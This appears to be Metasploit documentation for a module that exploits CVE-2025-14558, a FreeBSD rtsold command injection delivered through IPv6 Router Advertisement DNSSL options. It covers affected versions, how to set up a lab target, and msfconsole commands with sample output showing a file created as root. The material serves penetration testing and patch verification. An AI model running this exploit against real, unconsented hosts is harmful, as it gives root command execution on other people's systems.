## Vulnerable Application

This module exploits CVE-2025-14558, a command injection vulnerability in FreeBSD's
`rtsol(8)` and `rtsold(8)` programs. The DNSSL option in IPv6 Router Advertisement
messages is passed to `resolvconf(8)` without sanitization, allowing command injection.

All FreeBSD versions are affected unless the system has received the
security fixes released on 2025-12-16.

The first non-vulnerable releases are:
- 15.0-RELEASE-p1
- 14.3-RELEASE-p7
- 13.5-RELEASE-p8

All earlier and legacy FreeBSD versions remain vulnerable.

Vulnerable versions can be downloaded from the
[FreeBSD archive](http://ftp-archive.freebsd.org/pub/FreeBSD-Archive/old-releases/).

To configure a vulnerable target:

1. Install FreeBSD (unpatched version)
2. Enable IPv6 Router Advertisement (Replace Interface Name with your interface):

```
sysrc ifconfig_em0_ipv6="inet6 accept_rtadv"
```

3. Reboot or start services manually
4. Verify with `ifconfig em0 | grep ACCEPT_RTADV`

## Verification Steps

1. Install FreeBSD (unpatched) and configure rtsold as above
1. Start msfconsole on attacker (same network segment)
1. Do: `use exploit/freebsd/misc/rtsold_dnssl_cmdinject`
1. Do: `set CMD touch /tmp/pwned`
1. Do: `set INTERFACE eth0`
1. Do: `exploit`
1. On target, verify file exists: `ls -la /tmp/pwned`

## Options

### INTERFACE

Network interface for sending RA packets. Must be on same Layer 2 segment as target.
Defaults to first available interface if not set.

### COUNT

Number of RA packets to send. Default: `3`. Increase for unreliable networks.

### DELAY

Delay between packets in milliseconds. Default: `1000`.

## Scenarios

### FreeBSD 14.3-RELEASE Command Execution

```
msf6 > use exploit/freebsd/misc/rtsold_dnssl_cmdinject
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > set CMD touch /tmp/pwned
CMD => touch /tmp/pwned
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > set INTERFACE eth0
INTERFACE => eth0
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > exploit

[*] Sending 3 Router Advertisement(s) with DNSSL payload...
[+] Router Advertisement(s) sent successfully
[*] Exploit completed, but no session was created.
```

Verify on target:

```
root@freebsd:~ # ls -la /tmp/pwned
-rw-r--r--  1 root  wheel  0 Dec 21 16:00 /tmp/pwned
```

**Troubleshooting:**

If the exploit doesn't work:

- Verify target has `ACCEPT_RTADV`: `ifconfig | grep ACCEPT_RTADV`
- Verify rtsold running with `-s`: `ps aux | grep rtsold`
- Verify Layer 2 adjacency (RA messages are not routed)
- Run msfconsole as root for pcap access
